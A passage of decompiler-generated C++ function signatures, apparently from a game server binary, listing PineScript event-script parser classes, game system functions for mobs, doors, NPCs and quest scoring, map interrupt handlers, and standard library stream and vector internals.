PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Term::sa_Calculate(PineEventScriptNode::Term *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_GetToken(PineScriptReader::TokenReader *this, PineScriptToken *tkn); std::basic_ostream > *__thiscall std::basic_ostream>::flush(std::basic_ostream > *this); void __thiscall std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this); int __thiscall std::basic_stringbuf_std::allocator>::overflow(std::basic_stringbuf,std::allocator > *this, int _Meta); void __thiscall std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this, int _Mode); void __thiscall std::basic_ostream>::sentry::sentry(std::basic_ostream >::sentry *this, std::basic_ostream > *_Ostr); char __thiscall std::basic_ios>::widen(std::basic_ios > *this, char _Byte); char __thiscall List::l_PushA(List *this, PineEventScriptNode::Block *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Block *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, PineEventScriptNode::Block *ele); char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Block *ele); unsigned int __cdecl std::num_put>>::_Getcat(std::locale::facet **_Ppf); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); PineScriptTracer::ScriptTracer *__thiscall PineScriptTracer::ScriptTracer::operator<<(PineScriptTracer::ScriptTracer *this, PineEventScriptNode::Identify *id); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Equal(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Excremation(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_NotEqual(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScriptNode::Identify::_Identify(PineEventScriptNode::Identify *this); void __thiscall PineEventScriptNode::Block::_Block(PineEventScriptNode::Block *this); void __thiscall PineEventScriptNode::StateVarDeclear::StateVarDeclear(PineEventScriptNode::StateVarDeclear *this); void __thiscall PineEventScriptNode::OtherStatement::OtherStatement(PineEventScriptNode::OtherStatement *this, char *command, unsigned __int16 idread, int expressnummin, int expressnummax); void __thiscall PineEventScriptNode::OtherStatement::_OtherStatement(PineEventScriptNode::OtherStatement *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateVarDeclear::sb_CloneMe(PineEventScriptNode::StateVarDeclear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePermillage::sb_CloneMe(PineEventScriptNode::StatePermillage *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateAssignment::sb_CloneMe(PineEventScriptNode::StateAssignment *this); void __thiscall PineEventScriptNode::Block::l_Clone(PineEventScriptNode::Block *this, PineEventScriptNode::Block *blk); unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Step(PineEventScriptNode::StateAssignment *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::sa_Load(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CalculateOperator::sa_Load(PineEventScriptNode::CalculateOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::String::sa_Load(PineEventScriptNode::String *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Number::sa_Load(PineEventScriptNode::Number *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Id::sa_Load(PineEventScriptNode::Id *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Identify::sa_Load(PineEventScriptNode::Identify *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::ArgumentList::sa_Load(PineEventScriptNode::ArgumentList *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::SystemFunction::sa_Load(PineEventScriptNode::SystemFunction *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Term::sa_Load(PineEventScriptNode::Term *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::BlockName::sa_Load(PineEventScriptNode::BlockName *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Load(PineEventScriptNode::Block *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Load(PineEventScriptNode::StateVarDeclear *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Load(PineEventScriptNode::StateInfinite *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Load(PineEventScriptNode::StateWhile *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Load(PineEventScriptNode::StateBreak *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Load(PineEventScriptNode::StateCall *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Load(PineEventScriptNode::StatePermillage *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StatementBaseExpress::sa_Load(PineEventScriptNode::StatementBaseExpress *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Load(PineEventScriptNode::StateAssignment *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::sa_Load(PineEventScriptNode::OtherStatement *this, PineScriptReader::TokenReader *tr); void __thiscall std::basic_stringstream_std::allocator>::_vbase_destructor(std::basic_stringstream,std::allocator > *this); void *__thiscall std::basic_stringstream_std::allocator>::_scalar_deleting_destructor_(std::basic_stringstream,std::allocator > *this, char a2); void __thiscall std::basic_ostream>::sentry::_sentry(std::basic_ostream >::sentry *this); std::basic_ostream > *__cdecl std::operator<<_std::allocator>(std::basic_ostream > *_Ostr, std::basic_string,std::allocator > *_Str); std::basic_ostream > *__cdecl std::operator<<>(std::basic_ostream > *_Ostr, const char *_Val); std::num_put > > *__cdecl std::use_facet>>>(std::locale *_Loc); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this, PineEventScriptNode::Express **ppExpress, PineScriptStack::ProcessStack *ps); void __thiscall PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this); std::basic_ostream > *__thiscall std::basic_ostream>::operator<<(std::basic_ostream > *this, int _Val); void __thiscall List::List(List *this, ListArray *array); void __thiscall List::List(List *this, ListArray *array); void __thiscall PineEventScriptNode::Block::Block(PineEventScriptNode::Block *this); void __thiscall PineEventScriptNode::StateInfinite::StateInfinite(PineEventScriptNode::StateInfinite *this); void __thiscall PineEventScriptNode::StateWhile::StateWhile(PineEventScriptNode::StateWhile *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::Block::sb_CloneMe(PineEventScriptNode::Block *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateInfinite::sb_CloneMe(PineEventScriptNode::StateInfinite *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateWhile::sb_CloneMe(PineEventScriptNode::StateWhile *this); unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Load(PineEventScriptNode::StateIf *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScriptNode::StatementList::StatementList(PineEventScriptNode::StatementList *this); void *__thiscall PineEventScriptNode::ScriptParameterPaser::_vector_deleting_destructor_(PineEventScriptNode::ScriptParameterPaser *this, unsigned int); void __thiscall std::basic_iostream>::basic_iostream>(std::basic_iostream > *this, std::basic_streambuf > *_Strbuf); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, bool _Val); std::ostreambuf_iterator > *__thiscall std::ostreambuf_iterator>::operator_(std::ostreambuf_iterator > *this, char _Right); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Rep(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, char _Ch, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::numpunct::falsename(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::truename(std::numpunct *this, std::basic_string,std::allocator > *result); std::numpunct *__cdecl std::use_facet>(std::locale *_Loc); unsigned int __cdecl std::numpunct::_Getcat(std::locale::facet **_Ppf); char __thiscall std::numpunct::do_decimal_point(std::numpunct *this); char __thiscall std::numpunct::do_thousands_sep(std::numpunct *this); void *__thiscall std::numpunct::_scalar_deleting_destructor_(std::numpunct *this, unsigned int); void __thiscall std::numpunct::_numpunct(std::numpunct *this); void __thiscall std::numpunct::_Tidy(std::numpunct *this); void __thiscall std::numpunct::_Init(std::numpunct *this, std::_Locinfo *_Lobj); // void __usercall _L183332(int a1); char *__cdecl std::_Maklocstr(const char *_Ptr, char *__formal, _Cvtvec *__formal); void __thiscall ListArray::ListArray(ListArray *this, int size); char __thiscall List::l_Enlargement(List *this, int extsize); void __thiscall PineEventScriptNode::Script::Script(PineEventScriptNode::Script *this); unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Load(PineEventScriptNode::Script *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScript::PineEventScript(PineEventScript *this); void __thiscall PineEventScript::_PineEventScript(PineEventScript *this); void __thiscall std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this, int _Mode); std::basic_string,std::allocator > *__thiscall std::basic_stringbuf_std::allocator>::str(std::basic_stringbuf,std::allocator > *this, std::basic_string,std::allocator > *result); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, int _Val); char *__cdecl std::num_put>>::_Ifmt(std::num_put > > *this, char *_Fmt, const char *_Spec, int _Flags); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Iput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, char *_Buf, unsigned int _Count); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Putgrouped(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, const char *_Ptr, unsigned int _Count, char _Kseparator); std::basic_string,std::allocator > *__thiscall std::numpunct::grouping(std::numpunct *this, std::basic_string,std::allocator > *result); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned int _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, __int64 _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned __int64 _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val); char *__cdecl std::num_put>>::_Ffmt(std::num_put > > *this, char *_Fmt, char _Spec, int _Flags); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Fput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const char *_Buf, unsigned int _Beforepoint, unsigned int _Afterpoint, unsigned int _Trailing, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::insert(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count, char _Ch); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const void *_Val); std::basic_string,std::allocator > *__thiscall std::numpunct::do_grouping(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::do_falsename(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::do_truename(std::numpunct *this, std::basic_string,std::allocator > *result); void __thiscall PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(PineEventScriptNode::ScriptParameterPaser *this, const char *pkErrorMsg); std::basic_string,std::allocator > *__thiscall std::basic_stringstream_std::allocator>::str(std::basic_stringstream,std::allocator > *this, std::basic_string,std::allocator > *result); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByObject(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, #593 **rpObj); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByDWARD(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, unsigned int *rDWARD); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByString(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, std::basic_string,std::allocator > *rstrchar); char __thiscall Movie::Theater::t_AllInMap(Movie::Theater *this, AxialListIterator *ali); void __thiscall AxialListMobCounter::AxialListMobCounter(AxialListMobCounter *this, unsigned __int16 mobid, unsigned int guild, AxialListMobCounter::ALMCType type, int maxcount); void __thiscall AxialListMobCounter::_AxialListMobCounter(AxialListMobCounter *this); void __thiscall AxialListMobInAreaCounter::AxialListMobInAreaCounter(AxialListMobInAreaCounter *this, unsigned __int16 mobid, Name8 *Areaname, unsigned int guild, AxialListMobInAreaCounter::ALMCType type, int maxcount); void __thiscall AxialListMobInAreaCounter::_AxialListMobInAreaCounter(AxialListMobInAreaCounter *this); void __thiscall AxialListObjectList::_AxialListObjectList(AxialListObjectList *this); void __thiscall AxialListKQResult::alkqr_Score_ConditionOfHero(AxialListKQResult *this, #593 *obj); void __thiscall AxialListKQResult::alkqr_Score_Default(AxialListKQResult *this, #593 *obj); void __thiscall AxialListKQResult::alkqr_CalcScore(AxialListKQResult *this); int __cdecl AxialListKQResult::alkqr_ScoreCompare(const void *a, const void *b); Name3 *__thiscall Movie::Theater::t_MapNameServer(Movie::Theater *this, Name3 *buf); #593 *__thiscall ScriptMobBreeder::smb_ShineObject(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, unsigned __int16 objhnd); unsigned __int16 __thiscall ScriptMobBreeder::smb_ObjectRegen(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, #593 *obj, unsigned __int16 mobhnd, PineEventScriptNode::ArgumentList *arglst); unsigned __int16 __thiscall ScriptMobBreeder::smb_ObjectChange(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, #593 *newobj, unsigned __int16 newhnd, PineEventScriptNode::ArgumentList *arglst); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate(PineEventScriptNode::SysFuncShineMobRegen *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate(PineEventScriptNode::SysFuncShineDoorBuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate(PineEventScriptNode::SysFuncShineNPCStand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Mob *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Door *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2NPC *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCount::sfb_Calculate(PineEventScriptNode::SysFuncShineCount *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate(PineEventScriptNode::SysFuncShineRestSecond *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCharClass::sfb_Calculate(PineEventScriptNode::SysFuncShineCharClass *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCharName::sfb_Calculate(PineEventScriptNode::SysFuncShineCharName *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate(PineEventScriptNode::SysFuncShineDeadNumber *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate(PineEventScriptNode::SysFuncShineCircularScatter *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate(PineEventScriptNode::SysFuncShineRemoveFisrt *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); char __thiscall AxialListObjectList::ali_Work(AxialListObjectList *this, #593 *, #593 *, unsigned int); PineScriptToken *__thiscall AxialListObjectList::alol_MakeList(AxialListObjectList *this, PineScriptToken *buffer); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate(PineEventScriptNode::SysFuncShineGetObjectList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall AxialListKQResult::ALKQR::ALKQR(AxialListKQResult::ALKQR *this); void __thiscall AxialListKQResult::_AxialListKQResult(AxialListKQResult *this); char __thiscall AxialListKQResult::ali_Work(AxialListKQResult *this, #593 *, #593 *, unsigned int); char __thiscall AxialListKQResult::defaultWorker(AxialListKQResult *this, #593 *, #593 *, unsigned int); char __thiscall AxialListKQResult::zerosumWorker(AxialListKQResult *this, #593 *, #593 *, unsigned int); char __thiscall AxialListKQResult::MatchingPKWorker(AxialListKQResult *this, #593 *, #593 *, unsigned int); void __thiscall AxialListKQResult::alkqr_MakeList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_CMD *array); void __thiscall AxialListKQResult::alkqr_MakeSimpleList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_SIMPLE_CMD *array, int limit); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDistance::sfb_Calculate(PineEventScriptNode::SysFuncShineDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShinePlayerInArea::sfb_Calculate(PineEventScriptNode::SysFuncShinePlayerInArea *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineWhereIs::sfb_Calculate(PineEventScriptNode::SysFuncShineWhereIs *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate(PineEventScriptNode::SysFuncShineSPrintF1 *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __cdecl std::generate>::iterator_ArrGen>(std::vector >::iterator _First, std::vector >::iterator _Last, ArrGen _Func); void __thiscall AxialListKQResult::AxialListKQResult(AxialListKQResult *this, void (__thiscall *scorefunction)(AxialListKQResult *this, #593 *), char (__thiscall *workerFunction)(AxialListKQResult *this, #593 *, #593 *, unsigned int), int basepoint, int limitScore); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQResultList::sfb_Calculate(PineEventScriptNode::SysFuncShineKQResultList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate(PineEventScriptNode::SysFuncShineKQTop *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __cdecl std::_Random_shuffle>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineIsGateUse::sfb_Calculate(PineEventScriptNode::SysFuncShineIsGateUse *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::sfb_Calculate(PineEventScriptNode::SysFuncShineGetWinnerGuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::sfb_Calculate(PineEventScriptNode::SysFuncShineGetLoseGuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __cdecl std::random_shuffle>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Construct_n(std::vector > *this, unsigned int _Count, const int *_Val); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRange::sfb_Calculate(PineEventScriptNode::SysFuncShineRange *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineScriptMobRegenerator::_PineScriptMobRegenerator(PineScriptMobRegenerator *this); int __thiscall MobRegenStruct::RegenMobStruct::operator_(int this, int a2); MobRegenStruct::RegenMobStruct *__cdecl std::_Copy_opt(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); MobRegenStruct::RegenMobStruct *__cdecl std::_Copy_backward_opt(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); OptionReader *__thiscall KQRegenTable::operator__(KQRegenTable *this, const char *map); char *__thiscall PineScriptMobRegenerator::psmr_makeindex(PineScriptMobRegenerator *this, char *buffer, const char *map, const char *index); void __cdecl std::fill(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Val); MobRegenStruct::RegenMobStruct *__cdecl std::_Uninit_copy>(MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(MobRegenStruct::RegenMobStruct *_First, unsigned int _Count, MobRegenStruct::RegenMobStruct *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MobRegenStruct::RegenMobStruct *__thiscall std::vector>::_Ucopy(std::allocator *_Al, MobRegenStruct::RegenMobStruct *_First, MobRegenStruct::RegenMobStruct *_Last, MobRegenStruct::RegenMobStruct *__formal); MobRegenStruct::RegenMobStruct *__thiscall std::vector>::_Ufill(std::vector > *this, MobRegenStruct::RegenMobStruct *_Ptr, unsigned int _Count, MobRegenStruct::RegenMobStruct *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall PineScriptMobRegenerator::RegenStruct::_RegenStruct(PineScriptMobRegenerator::RegenStruct *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRegenStruct::RegenMobStruct *_Val); void *__thiscall std::vector>::operator_(void *this, int __formal); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRegenStruct::RegenMobStruct *_Val); void __thiscall PineScriptMobRegenerator::RegenStruct::RegenStruct(PineScriptMobRegenerator::RegenStruct *this); int __thiscall PineScriptMobRegenerator::RegenStruct::operator_(int this, int a2); void __thiscall std::vector>::push_back(std::vector > *this, MobRegenStruct::RegenMobStruct *_Val); void __thiscall PineScriptMobRegenerator::PineScriptMobRegenerator(PineScriptMobRegenerator *this); void __thiscall PineScriptMobRegenerator::psmr_Store(PineScriptMobRegenerator *this, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *rgs, char *index); char __thiscall PineScriptMobRegenerator::psmr_Load(PineScriptMobRegenerator *this, const char *map); PineScriptMobRegenerator::RegenStruct *__thiscall PineScriptMobRegenerator::psmr_find(PineScriptMobRegenerator *this, const char *map, const char *index); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, int interval, PineScriptToken *eventblock, int num, char flag); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, char *mobindex, PineScriptToken *eventblock, int num); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex); char __thiscall Movie::Theater::t_AllOfRange(Movie::Theater *this, unsigned int event, SHINE_XY_TYPE *center, int range, FanFormSectorArgument *fansector, AxialListIterator *ala, char tome, unsigned __int16 excepter); void __thiscall Movie::Theater::t_SetInterruptAreaEntry(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptAreaLeave(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickAny(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTimeInterval(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num, char flag); void __thiscall Movie::Theater::t_SetInterruptHPLow(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptMobEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPlayerEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptGuildEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTimeOut(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptDeadHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptDeadIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptKillEnemy(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTargetChange(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPlayerDead(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptHPFull(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPickUpItemIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall 